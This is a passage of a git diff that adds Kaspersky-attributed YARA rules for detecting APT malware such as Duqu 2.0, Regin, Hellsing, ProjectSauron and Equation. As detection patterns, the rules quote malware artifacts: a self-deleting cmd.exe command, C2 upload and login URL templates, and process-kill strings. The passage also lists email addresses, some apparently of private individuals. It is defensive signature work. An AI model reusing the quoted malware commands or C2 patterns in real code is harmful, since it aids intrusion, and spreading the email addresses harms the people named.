+$a20="gpool@hostpenta.com" ascii wide nocase fullword
+$a21="hanger@hostpenta.com" ascii wide nocase fullword
+$a22="hostpenta@hostpenta.com" ascii wide nocase fullword
+$a23="ulpi715@gmx.com" ascii wide nocase fullword
+$b0="purge626@gmail.com" ascii wide fullword
+$b1="tip848@gmail.com" ascii wide fullword
+$b2="dude626@gmail.com" ascii wide fullword
+$b3="octo424@gmail.com" ascii wide fullword
+$b4="antoniaf@poste.it" ascii wide fullword
+$b5="mmarcucci@virgilio.it" ascii wide fullword
+$b6="i.julia@blu.it" ascii wide fullword
+$b7="g.simeoni@inwind.it" ascii wide fullword
+$b8="g.latagliata@live.com" ascii wide fullword
+$b9="rita.p@blu.it" ascii wide fullword
+$b10="b.gaetani@live.com" ascii wide fullword
+$b11="gpierpaolo@tin.it" ascii wide fullword
+$b12="e.barbara@poste.it" ascii wide fullword
+$b13="stoccod@libero.it" ascii wide fullword
+$b14="g.capezzone@virgilio.it" ascii wide fullword
+$b15="baldarim@blu.it" ascii wide fullword
+$b16="elsajuliette@blu.it" ascii wide fullword
+$b17="dipriamoj@alice.it" ascii wide fullword
+$b18="izabelle.d@blu.it" ascii wide fullword
+$b19="lu_1974@hotmail.com" ascii wide fullword
+$b20="tim11235@gmail.com" ascii wide fullword
+$b21="plars575@gmail.com" ascii wide fullword
+$b22="guess515@fastmail.fm" ascii wide fullword
+condition:
+((uint16(0) == 0x5A4D)) and (filesize < 10MB) and ((any of ($a*)) or (any of ($b*)) )
+}
diff --git a/yara-mikesxrs/kaspersky/LazarusWannaCry.yar b/yara-mikesxrs/kaspersky/LazarusWannaCry.yar
new file mode 100644
index 0000000..79f635b
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/LazarusWannaCry.yar
@@ -0,0 +1,39 @@
+rule lazaruswannacry {
+
+meta:
+
+description = “Rule based on shared code between Feb 2017 Wannacry sample and Lazarus backdoor from Feb 2015 discovered by Neel Mehta�
+ date = “2017-05-15�
+ reference = “https://twitter.com/neelmehta/status/864164081116225536�
+ reference2 = "https://securelist.com/wannacry-and-lazarus-group-the-missing-link/78431/"
+ author = “Kaspersky Lab�
+ version = “1.0�
+ hash = “9c7c7149387a1c79679a87dd1ba755bc�
+ hash = “ac21c8ad899727137c4b94458d7aa8d8�
+
+strings:
+
+$a1={
+ 51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75
+ 04 24 01 0C 01 46 89 45 00 C6 46 FF 03 C6 06 01
+ 46 56 E8
+ }
+
+$a2={
+ 03 00 04 00 05 00 06 00 08 00 09 00 0A 00 0D 00
+ 10 00 11 00 12 00 13 00 14 00 15 00 16 00 2F 00
+ 30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00
+ 38 00 39 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00
+ 44 00 45 00 46 00 62 00 63 00 64 00 66 00 67 00
+ 68 00 69 00 6A 00 6B 00 84 00 87 00 88 00 96 00
+ FF 00 01 C0 02 C0 03 C0 04 C0 05 C0 06 C0 07 C0
+ 08 C0 09 C0 0A C0 0B C0 0C C0 0D C0 0E C0 0F C0
+ 10 C0 11 C0 12 C0 13 C0 14 C0 23 C0 24 C0 27 C0
+ 2B C0 2C C0 FF FE
+ }
+
+condition:
+
+((uint16(0) == 0x5A4D)) and (filesize &lt; 15000000) and
+ all of them
+ }
diff --git a/yara-mikesxrs/kaspersky/apt_ProjectSauron_encrypted_LSA.yar b/yara-mikesxrs/kaspersky/apt_ProjectSauron_encrypted_LSA.yar
new file mode 100644
index 0000000..286d70a
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_ProjectSauron_encrypted_LSA.yar
@@ -0,0 +1,33 @@
+
+import "pe"
+import "math"
+
+
+rule apt_ProjectSauron_encrypted_LSA  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron encrypted LSA samples"
+	version = "1.0"    
+	reference = "https://securelist.com/blog/"
+
+strings:
+
+	$a1 = "EFEB0A9C6ABA4CF5958F41DB6A31929776C643DEDC65CC9B67AB8B0066FF2492" fullword ascii
+	$a2 = "\\Device\\NdisRaw_" fullword ascii
+	$a3 = "\\\\.\\GLOBALROOT\\Device\\{8EDB44DC-86F0-4E0E-8068-BD2CABA4057A}" fullword wide
+	$a4 = "Global\\{a07f6ba7-8383-4104-a154-e582e85a32eb}" fullword wide
+	$a5 = "Missing function %S::#%d" fullword wide
+	$a6 = {8945D08D8598FEFFFF2BD08945D88D45BC83C20450C745C0030000008975C48955DCFF55FC8BF88D8F0000003A83F90977305333DB53FF15}
+	$a7 = {488D4C24304889442450488D452044886424304889442460488D4520C7442434030000002BD848897C243844896C244083C308895C246841FFD68D880000003A8BD883F909772DFF}
+
+
+condition:
+	uint16(0) == 0x5A4D
+	and (any of ($a*) or
+	(
+		pe.exports("InitializeChangeNotify") and
+		pe.exports("PasswordChangeNotify") and
+		math.entropy(0x400, filesize) >= 7.5
+	))
+	and filesize < 1000000
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/apt_ProjectSauron_encrypted_SSPI.yar b/yara-mikesxrs/kaspersky/apt_ProjectSauron_encrypted_SSPI.yar
new file mode 100644
index 0000000..5277421
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_ProjectSauron_encrypted_SSPI.yar
@@ -0,0 +1,19 @@
+
+import "pe"
+import "math"
+
+rule apt_ProjectSauron_encrypted_SSPI  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect encrypted ProjectSauron SSPI samples"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+condition:
+	uint16(0) == 0x5A4D and
+	filesize < 1000000 and
+	pe.exports("InitSecurityInterfaceA") and
+	pe.characteristics & pe.DLL and
+	(pe.machine == pe.MACHINE_AMD64 or pe.machine == pe.MACHINE_IA64) and
+	math.entropy(0x400, filesize) >= 7.5     
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/apt_ProjectSauron_encrypted_container.yar b/yara-mikesxrs/kaspersky/apt_ProjectSauron_encrypted_container.yar
new file mode 100644
index 0000000..0b10860
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_ProjectSauron_encrypted_container.yar
@@ -0,0 +1,22 @@
+
+import "pe"
+import "math"
+
+rule apt_ProjectSauron_encrypted_container  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron samples encrypted container"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+strings:
+
+	$vfs_header = {02 AA 02 C1 02 0?}
+	$salt = {91 0A E0 CC 0D FE CE 36 78 48 9B 9C 97 F7 F5 55}
+
+condition:
+	uint16(0) == 0x5A4D
+	and ((@vfs_header < 0x4000) or $salt) and
+	math.entropy(0x400, filesize) >= 6.5 and
+	(filesize > 0x400) and filesize < 10000000
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/apt_ProjectSauron_encryption.yar b/yara-mikesxrs/kaspersky/apt_ProjectSauron_encryption.yar
new file mode 100644
index 0000000..71042eb
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_ProjectSauron_encryption.yar
@@ -0,0 +1,22 @@
+
+import "pe"
+import "math"
+
+rule apt_ProjectSauron_encryption  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron string encryption"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+
+strings:
+
+	$a1 = {81??02AA02C175??8B??0685}
+	$a2 = {918D9A94CDCC939A93939BD18B9AB8DE9C908DAF8D9B9BBE8C8C9AFF}
+	$a3 = {803E225775??807E019F75??807E02BE75??807E0309}
+
+condition:
+	filesize < 5000000 and
+	any of ($a*)
+}
diff --git a/yara-mikesxrs/kaspersky/apt_ProjectSauron_generic_pipe_backdoor.yar b/yara-mikesxrs/kaspersky/apt_ProjectSauron_generic_pipe_backdoor.yar
new file mode 100644
index 0000000..3bc1dc0
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_ProjectSauron_generic_pipe_backdoor.yar
@@ -0,0 +1,23 @@
+
+import "pe"
+import "math"
+
+rule apt_ProjectSauron_generic_pipe_backdoor {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron generic pipe backdoors"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+strings:
+	$a = { C7 [2-3] 32 32 32 32 E8 }
+	$b = { 42 12 67 6B }
+	$c = { 25 31 5F 73 }
+	$d = "rand"
+	$e = "WS2_32"
+
+condition:
+	uint16(0) == 0x5A4D and
+	(all of them) and
+	filesize < 400000
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/apt_ProjectSauron_pipe_backdoor.yar b/yara-mikesxrs/kaspersky/apt_ProjectSauron_pipe_backdoor.yar
new file mode 100644
index 0000000..41fbcf9
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_ProjectSauron_pipe_backdoor.yar
@@ -0,0 +1,24 @@
+import "pe"
+import "math"
+
+rule apt_ProjectSauron_pipe_backdoor  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron pipe backdoors"
+	version = "1.0"    
+	reference = "https://securelist.com/blog/"
+   
+strings:
+
+	$a1 = "CreateNamedPipeW" fullword ascii
+	$a2 = "SetSecurityDescriptorDacl" fullword ascii
+	$a3 = "GetOverlappedResult" fullword ascii
+	$a4 = "TerminateThread" fullword ascii
+	$a5 = "%s%s%X" fullword wide
+	
+
+condition:
+	uint16(0) == 0x5A4D 
+	and (all of ($a*))
+	and filesize < 100000
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/apt_duqu2_drivers.yar b/yara-mikesxrs/kaspersky/apt_duqu2_drivers.yar
new file mode 100644
index 0000000..f19c4c6
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_duqu2_drivers.yar
@@ -0,0 +1,26 @@
+rule apt_duqu2_drivers {
+
+meta:
+
+		copyright = "Kaspersky Lab"
+		description = "Rule to detect Duqu 2.0 drivers"
+		last_modified = "2015-06-09"
+		version = "1.0"
+		Reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+
+strings:
+
+		$a1="\\DosDevices\\port_optimizer" wide nocase
+		$a2="romanian.antihacker"
+		$a3="PortOptimizerTermSrv" wide
+		$a4="ugly.gorilla1"
+
+		$b1="NdisIMCopySendCompletePerPacketInfo"
+		$b2="NdisReEnumerateProtocolBindings"
+		$b3="NdisOpenProtocolConfiguration"
+
+condition:
+
+		uint16(0) == 0x5A4D and (any of ($a*) ) and (2 of ($b*)) and filesize < 100000
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/apt_duqu2_loaders.yar b/yara-mikesxrs/kaspersky/apt_duqu2_loaders.yar
new file mode 100644
index 0000000..52a13bc
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_duqu2_loaders.yar
@@ -0,0 +1,36 @@
+rule apt_duqu2_loaders {
+
+meta:
+		copyright = "Kaspersky Lab"
+		description = "Rule to detect Duqu 2.0 samples"
+		last_modified = "2015-06-09"
+		version = "1.0"
+		Reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+
+strings:
+
+		$a1="{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
+		$a2="\\\\.\\pipe\\{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
+		$a4="\\\\.\\pipe\\{AB6172ED-8105-4996-9D2A-597B5F827501}" wide
+		$a5="Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" wide
+		$a8="SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" wide
+		$a9="SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" wide
+		$a7="SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" wide
+		$b1="MSI.dll"
+		$b2="msi.dll"
+		$b3="StartAction"
+		$c1="msisvc_32@" wide
+		$c2="PROP=" wide
+		$c3="-Embedding" wide
+		$c4="S:(ML;;NW;;;LW)" wide
+
+		$d1 = "NameTypeBinaryDataCustomActionActionSourceTargetInstallExecuteSequenceConditionSequencePropertyValueMicrosoftManufacturer" nocase
+		$d2 = {2E 3F 41 56 3F 24 5F 42 69 6E 64 40 24 30 30 58 55 3F 24 5F 50 6D 66 5F 77 72 61 70 40 50 38 43 4C 52 ?? 40 40 41 45 58 58 5A 58 56 31 40 24 24 24 56 40 73 74 64 40 40 51 41 56 43 4C 52 ?? 40 40 40 73 74 64 40 40}
+condition:
+
+( (uint16(0) == 0x5a4d) and ( (any of ($a*)) or (all of ($b*)) or (all of ($c*)) ) and filesize < 100000 )
+
+or
+
+( (uint32(0) == 0xe011cfd0) and ( (any of ($a*)) or (all of ($b*)) or (all of ($c*)) or (any of ($d*)) ) and filesize < 20000000 )
+}
diff --git a/yara-mikesxrs/kaspersky/apt_equation_cryptotable.yar b/yara-mikesxrs/kaspersky/apt_equation_cryptotable.yar
new file mode 100644
index 0000000..d8809a0
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_equation_cryptotable.yar
@@ -0,0 +1,12 @@
+rule apt_equation_cryptotable : crypto {
+	meta:
+	    copyright = "Kaspersky Lab"
+	    description = "Rule to detect the crypto library used in Equation group malware"
+	    version = "1.0"
+	    last_modified = "2015-02-16"
+	    reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+	strings:
+	    $a={37 DF E8 B6 C7 9C 0B AE 91 EF F0 3B 90 C6 80 85 5D 19 4B 45 44 12 3C E2 0D 5C 1C 7B C4 FF D6 05 17 14 4F 03 74 1E 41 DA 8F 7D DE 7E 99 F1 35 AC B8 46 93 CE 23 82 07 EB 2B D4 72 71 40 F3 B0 F7 78 D7 4C D1 55 1A 39 83 18 FA E1 9A 56 B1 96 AB A6 30 C5 5F BE 0C 50 C1}
+	condition:
+	    $a
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/apt_equation_doublefantasy_genericresource.yar b/yara-mikesxrs/kaspersky/apt_equation_doublefantasy_genericresource.yar
new file mode 100644
index 0000000..4e3925a
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_equation_doublefantasy_genericresource.yar
@@ -0,0 +1,15 @@
+rule apt_equation_doublefantasy_genericresource {
+    meta:
+        copyright = "Kaspersky Lab"
+        description = "Rule to detect DoubleFantasy encoded config http://goo.gl/ivt8EW"
+        version = "1.0"
+        last_modified = "2015-02-16"
+        reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+    strings:
+        $mz="MZ"
+        $a1={06 00 42 00 49 00 4E 00 52 00 45 00 53 00}
+        $a2="yyyyyyyyyyyyyyyy"
+        $a3="002"
+    condition:
+        (($mz at 0) and all of ($a*)) and filesize < 500000
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/apt_equation_equationlaser_runtimeclasses.yar b/yara-mikesxrs/kaspersky/apt_equation_equationlaser_runtimeclasses.yar
new file mode 100644
index 0000000..93c6ec8
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_equation_equationlaser_runtimeclasses.yar
@@ -0,0 +1,17 @@
+rule apt_equation_equationlaser_runtimeclasses {
+    meta:
+        copyright = "Kaspersky Lab"
+        description = "Rule to detect the EquationLaser malware"
+        version = "1.0"
+        last_modified = "2015-02-16"
+        reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+    strings:
+        $a1="?a73957838_2@@YAXXZ"
+        $a2="?a84884@@YAXXZ"
+        $a3="?b823838_9839@@YAXXZ"
+        $a4="?e747383_94@@YAXXZ"
+        $a5="?e83834@@YAXXZ"
+        $a6="?e929348_827@@YAXXZ"
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/apt_equation_exploitlib_mutexes.yar b/yara-mikesxrs/kaspersky/apt_equation_exploitlib_mutexes.yar
new file mode 100644
index 0000000..746f5e0
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_equation_exploitlib_mutexes.yar
@@ -0,0 +1,28 @@
+rule apt_equation_exploitlib_mutexes {
+ 
+meta:
+ 
+    copyright = "Kaspersky Lab"
+    description = "Rule to detect Equation group's Exploitation library"
+    version = "1.0"
+    last_modified = "2015-02-16"
+    reference = "https://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+ 
+ 
+strings:
+ 
+    $mz="MZ"
+ 
+    $a1="prkMtx" wide
+    $a2="cnFormSyncExFBC" wide
+    $a3="cnFormVoidFBC" wide
+    $a4="cnFormSyncExFBC" 
+    $a5="cnFormVoidFBC"
+ 
+condition:
+ 
+(($mz at 0) and any of ($a*))
+
+}
+
+
diff --git a/yara-mikesxrs/kaspersky/apt_hellsing_implantstrings.yar b/yara-mikesxrs/kaspersky/apt_hellsing_implantstrings.yar
new file mode 100644
index 0000000..346ddc6
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_hellsing_implantstrings.yar
@@ -0,0 +1,31 @@
+rule apt_hellsing_implantstrings 
+{
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing implants"
+
+	strings:
+ 		$mz="MZ"
+ 		$a1="the file uploaded failed !"
+ 		$a2="ping 127.0.0.1"
+ 		$b1="the file downloaded failed !"
+ 		$b2="common.asp"
+ 		$c="xweber_server.exe"
+ 		$d="action="
+		$debugpath1="d:\\Hellsing\\release\\msger\\" nocase
+		$debugpath2="d:\\hellsing\\sys\\xrat\\" nocase
+		$debugpath3="D:\\Hellsing\\release\\exe\\" nocase
+		$debugpath4="d:\\hellsing\\sys\\xkat\\" nocase
+		$debugpath5="e:\\Hellsing\\release\\clare" nocase
+		$debugpath6="e:\\Hellsing\\release\\irene\\" nocase
+		$debugpath7="d:\\hellsing\\sys\\irene\\" nocase
+		$e="msger_server.dll"
+		$f="ServiceMain"
+
+	condition:
+		($mz at 0) and (all of ($a*)) or (all of ($b*)) or ($c and $d) or (any of ($debugpath*)) or ($e and $f) and filesize < 500000
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/apt_hellsing_installer.yar b/yara-mikesxrs/kaspersky/apt_hellsing_installer.yar
new file mode 100644
index 0000000..55f0cf5
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_hellsing_installer.yar
@@ -0,0 +1,28 @@
+rule apt_hellsing_installer 
+{
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing xweber/msger installers"
+
+	strings:
+		$mz="MZ"
+		$cmd="cmd.exe /c ping 127.0.0.1 -n 5&cmd.exe /c del /a /f \"%s\""
+		$a1="xweber_install_uac.exe"
+		$a2="system32\\cmd.exe" wide
+		$a4="S11SWFOrVwR9UlpWRVZZWAR0U1aoBHFTUl2oU1Y="
+		$a5="S11SWFOrVwR9dnFTUgRUVlNHWVdXBFpTVgRdUlpWRVZZWARdUqhZVlpFR1kEUVNSXahTVgRaU1YEUVNSXahTVl1SWwRZValdVFFZUqgQBF1SWlZFVllYBFRTVqg="
+		$a6="7dqm2ODf5N/Y2N/m6+br3dnZpunl44g="
+		$a7="vd/m7OXd2ai/5u7a59rr7Ki45drcqMPl5t/c5dqIZw=="
+		$a8="vd/m7OXd2ai/usPl5qjY2uXp69nZqO7l2qjf5u7a59rr7Kjf5tzr2u7n6euo4+Xm39zl2qju5dqo4+Xm39zl2t/m7ajr19vf2OPr39rj5eaZmqbs5OSI Njl2tyI"
+		$a9="C:\\Windows\\System32\\sysprep\\sysprep.exe" wide
+		$a10="%SystemRoot%\\system32\\cmd.exe" wide
+		$a11="msger_install.dll"
+		$a12={00 65 78 2E 64 6C 6C 00}
+
+	condition:
+		($mz at 0) and ($cmd and (2 of ($a*))) and filesize < 500000
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/apt_hellsing_irene.yar b/yara-mikesxrs/kaspersky/apt_hellsing_irene.yar
new file mode 100644
index 0000000..eaef947
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_hellsing_irene.yar
@@ -0,0 +1,22 @@
+rule apt_hellsing_irene 
+{
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing msger irene installer"
+
+	strings:
+		$mz="MZ"
+		$a1="\\Drivers\\usbmgr.tmp" wide
+		$a2="\\Drivers\\usbmgr.sys" wide
+		$a3="common_loadDriver CreateFile error! "
+		$a4="common_loadDriver StartService error && GetLastError():%d! "
+		$a5="irene" wide
+		$a6="aPLib v0.43 - the smaller the better"
+
+	condition:
+		($mz at 0) and (4 of ($a*)) and filesize < 500000
+}
diff --git a/yara-mikesxrs/kaspersky/apt_hellsing_msgertype2.yar b/yara-mikesxrs/kaspersky/apt_hellsing_msgertype2.yar
new file mode 100644
index 0000000..766b219
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_hellsing_msgertype2.yar
@@ -0,0 +1,22 @@
+rule apt_hellsing_msgertype2 
+{
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing msger type 2 implants"
+	strings:
+		$mz="MZ"
+		$a1="%s\\system\\%d.txt"
+		$a2="_msger"
+		$a3="http://%s/lib/common.asp?action=user_login&uid=%s&lan=%s&host=%s&os=%s&proxy=%s"
+		$a4="http://%s/data/%s.1000001000"
+		$a5="/lib/common.asp?action=user_upload&file="
+		$a6="%02X-%02X-%02X-%02X-%02X-%02X"
+
+	condition:
+		($mz at 0) and (4 of ($a*)) and filesize < 500000
+		
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/apt_hellsing_proxytool.yar b/yara-mikesxrs/kaspersky/apt_hellsing_proxytool.yar
new file mode 100644
index 0000000..4ce0cb5
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_hellsing_proxytool.yar
@@ -0,0 +1,22 @@
+rule apt_hellsing_proxytool 
+{
+	meta:
+	version = "1.0"
+	filetype = "PE"
+	author = "Costin Raiu, Kaspersky Lab"
+	copyright = "Kaspersky Lab"
+	date = "2015-04-07"
+	description = "detection for Hellsing proxy testing tool"
+
+	strings:
+		$mz="MZ"
+		$a1="PROXY_INFO: automatic proxy url => %s "
+		$a2="PROXY_INFO: connection type => %d "
+		$a3="PROXY_INFO: proxy server => %s "
+		$a4="PROXY_INFO: bypass list => %s "
+		$a5="InternetQueryOption failed with GetLastError() %d"
+		$a6="D:\\Hellsing\\release\\exe\\exe\\" nocase
+
+	condition:
+		($mz at 0) and (2 of ($a*)) and filesize < 300000
+}
diff --git a/yara-mikesxrs/kaspersky/apt_hellsing_xkat.yar b/yara-mikesxrs/kaspersky/apt_hellsing_xkat.yar
new file mode 100644
index 0000000..9260565
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_hellsing_xkat.yar
@@ -0,0 +1,28 @@
+rule apt_hellsing_xkat 
+{
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing xKat tool"
+
+	strings:
+		$mz="MZ"
+		$a1="\\Dbgv.sys"
+		$a2="XKAT_BIN"
+		$a3="release sys file error."
+		$a4="driver_load error. "
+		$a5="driver_create error."
+		$a6="delete file:%s error."
+		$a7="delete file:%s ok."
+		$a8="kill pid:%d error."
+		$a9="kill pid:%d ok."
+		$a10="-pid-delete"
+		$a11="kill and delete pid:%d error."
+		$a12="kill and delete pid:%d ok."
+
+	condition:
+		($mz at 0) and (6 of ($a*)) and filesize < 300000
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/apt_regin_2013_64bit_stage1.yar b/yara-mikesxrs/kaspersky/apt_regin_2013_64bit_stage1.yar
new file mode 100644
index 0000000..e350ed9
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_regin_2013_64bit_stage1.yar
@@ -0,0 +1,24 @@
+rule apt_regin_2013_64bit_stage1 {
+
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect Regin 64 bit stage 1 loaders"
+	version = "1.0"
+	last_modified = "2014-11-18"
+	filename="wshnetc.dll"
+	md5="bddf5afbea2d0eed77f2ad4e9a4f044d"
+	filename="wsharp.dll"
+	md5="c053a0a3f1edcbbfc9b51bc640e808ce"
+	Reference = "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
+
+strings:
+	$mz="MZ"
+		$a1="PRIVHEAD"
+		$a2="\\\\.\\PhysicalDrive%d"
+		$a3="ZwDeviceIoControlFile"
+
+condition:
+
+	($mz at 0) and (all of ($a*)) and filesize < 100000
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/apt_regin_dispatcher_disp_dll.yar b/yara-mikesxrs/kaspersky/apt_regin_dispatcher_disp_dll.yar
new file mode 100644
index 0000000..d2bc185
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_regin_dispatcher_disp_dll.yar
@@ -0,0 +1,22 @@
+rule apt_regin_dispatcher_disp_dll {
+
+meta:
+
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect Regin disp.dll dispatcher"
+	version = "1.0"
+	last_modified = "2014-11-18"
+	Reference = "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
+
+strings:
+	$mz="MZ"
+		 $string1="shit"
+		 $string2="disp.dll"
+		 $string3="255.255.255.255"
+		 $string4="StackWalk64"
+		 $string5="imagehlp.dll"
+
+condition:
+
+	($mz at 0) and (all of ($string*))
+}
diff --git a/yara-mikesxrs/kaspersky/apt_regin_vfs.yar b/yara-mikesxrs/kaspersky/apt_regin_vfs.yar
new file mode 100644
index 0000000..59e93b6
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/apt_regin_vfs.yar
@@ -0,0 +1,21 @@
+rule apt_regin_vfs {
+
+meta:
+
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect Regin VFSes"
+	version = "1.0"
+	last_modified = "2014-11-18"
+	Reference = "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
+
+strings:
+
+	$a1={00 02 00 08 00 08 03 F6 D7 F3 52}
+	$a2={00 10 F0 FF F0 FF 11 C7 7F E8 52}
+	$a3={00 04 00 10 00 10 03 C2 D3 1C 93}
+	$a4={00 04 00 10 C8 00 04 C8 93 06 D8}
+
+condition:
+
+	($a1 at 0) or ($a2 at 0) or ($a3 at 0) or ($a4 at 0)
+}
diff --git a/yara-mikesxrs/kaspersky/backdoored_ssh.yar b/yara-mikesxrs/kaspersky/backdoored_ssh.yar
new file mode 100644
index 0000000..8122921
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/backdoored_ssh.yar
@@ -0,0 +1,12 @@
+rule Backdoored_ssh {
+meta:
+author = "Kaspersky"
+reference = "https://securelist.com/energetic-bear-crouching-yeti/85345/"
+actor = "Energetic Bear/Crouching Yeti"
+strings:
+$a1 = "OpenSSH"
+$a2 = "usage: ssh"
+$a3 = "HISTFILE"
+condition:
+uint32(0) == 0x464c457f and filesize<1000000 and all of ($a*)
+}
diff --git a/yara-mikesxrs/kaspersky/exploit_Silverlight_Toropov_Generic_XAP.yar b/yara-mikesxrs/kaspersky/exploit_Silverlight_Toropov_Generic_XAP.yar
new file mode 100644
index 0000000..c2e8387
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/exploit_Silverlight_Toropov_Generic_XAP.yar
@@ -0,0 +1,21 @@
+rule exploit_Silverlight_Toropov_Generic_XAP {
+	
+	meta:
+
+		author = "Kaspersky Lab"
+		filetype = "Win32 EXE"
+		date = "2015-07-23"
+		version = "1.0"
+		Reference = "https://securelist.com/blog/research/73255/the-mysterious-case-of-cve-2016-0034-the-hunt-for-a-microsoft-silverlight-0-day/"
+
+strings:
+
+	$b2="Can't find Payload() address" ascii wide
+	$b3="/SilverApp1;compoent/App.xaml" ascii wide
+	$b4="Can't allocate ums after buf[]" ascii wide
+	$b5="------------  START  ------------"
+
+condition:
+
+	((2 of ($b*)) )
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/kaspersky_index.yara b/yara-mikesxrs/kaspersky/kaspersky_index.yara
new file mode 100644
index 0000000..4302270
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/kaspersky_index.yara
@@ -0,0 +1,578 @@
+rule apt_duqu2_drivers {
+
+meta:
+
+		copyright = "Kaspersky Lab"
+		description = "Rule to detect Duqu 2.0 drivers"
+		last_modified = "2015-06-09"
+		version = "1.0"
+		Reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+
+strings:
+
+		$a1="\\DosDevices\\port_optimizer" wide nocase
+		$a2="romanian.antihacker"
+		$a3="PortOptimizerTermSrv" wide
+		$a4="ugly.gorilla1"
+
+		$b1="NdisIMCopySendCompletePerPacketInfo"
+		$b2="NdisReEnumerateProtocolBindings"
+		$b3="NdisOpenProtocolConfiguration"
+
+condition:
+
+		uint16(0) == 0x5A4D and (any of ($a*) ) and (2 of ($b*)) and filesize < 100000
+
+}
+
+rule apt_duqu2_loaders {
+
+meta:
+		copyright = "Kaspersky Lab"
+		description = "Rule to detect Duqu 2.0 samples"
+		last_modified = "2015-06-09"
+		version = "1.0"
